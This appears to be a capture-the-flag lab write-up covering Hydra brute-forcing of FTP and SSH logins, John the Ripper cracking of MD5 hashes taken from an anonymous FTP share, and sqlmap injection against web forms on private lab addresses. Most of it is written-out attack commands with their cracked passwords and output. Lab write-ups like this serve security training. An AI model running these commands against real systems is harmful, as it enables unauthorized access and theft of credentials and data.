Hydra: Brute-Force
| IP | Port | Service | Version |
|---|
10.83.7.2 | 21 | FTP | vsftpd 3.0.5 |
10.83.7.2 | 80 | HTTP | nginx 1.29.5 |
10.83.7.3 | 22 | SSH | OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 |
10.83.7.3 | 33445 | Unknown | Unknown |
Target 10.83.7.2
$ nmap -sV -sC -p- 10.83.7.2
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
80/tcp open http nginx 1.29.5
The web server reveals a user named 'Alice' with a passion for dolphins and a hint about a simple password.
$ hydra -l alice -P /usr/share/wordlists/rockyou.txt -f -V ftp://10.83.7.2
[21][ftp] host: 10.83.7.2 login: alice password: dolphin
Target 10.83.7.3
$ nmap -sV -sC -p- 10.83.7.3
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
33445/tcp open unknown
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt -f -V ssh://10.83.7.3
[22][ssh] host: 10.83.7.3 login: admin password: chicken
John the Ripper: Hash Cracking
| IP | Port | Service | Version |
|---|
10.83.7.10 | 21 | FTP | vsftpd 3.0.5 |
10.83.7.10 | 22 | SSH | OpenSSH 9.6p1 |
Target 10.83.7.10
$ nmap -sV -sC -p- 10.83.7.10
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed
22/tcp open ssh OpenSSH 9.6p1
- Accessed the FTP server anonymously to retrieve
hash.txt. - Identified the file contained six
username:password hash pairs. - Used John the Ripper to crack the MD5 hashes using the rockyou wordlist.
$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
secret (magician)
1234 (numberman)
password123 (guest)
h4ck3r (admin)
The cracked password h4ck3r was used to gain SSH access to the admin account and retrieve the flag.
SQLmap: SQL Injection
| IP | Port | Service | Version |
|---|
10.83.7.26 | 80 | HTTP | Apache httpd 2.4.66 ((Debian)) |
10.83.7.42 | 80 | HTTP | Werkzeug httpd 3.1.6 (Python 3.11.14) |
Target 10.83.7.26
$ nmap -sV -sC -p- 10.83.7.26
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.66 ((Debian))
Initial reconnaissance identified an 'Employee Lookup' tool. A GET-based SQL injection was performed on the id parameter.
$ sqlmap -u "http://10.83.7.26/view.php?id=" --dbs --batch
$ sqlmap -u "http://10.83.7.26/view.php?id=" -D employee_db -T flags --dump --batch
Target 10.83.7.42
$ nmap -sV -sC -p- 10.83.7.42
PORT STATE SERVICE VERSION
80/tcp open http Werkzeug httpd 3.1.6 (Python 3.11.14)
This target featured an 'Internal Login' page. Vulnerabilities were exploited by providing POST data to the login form to dump the user database.
$ sqlmap -u "http://10.83.7.42/login" --data="username=admin&password=password" -D public -T users --dump --batch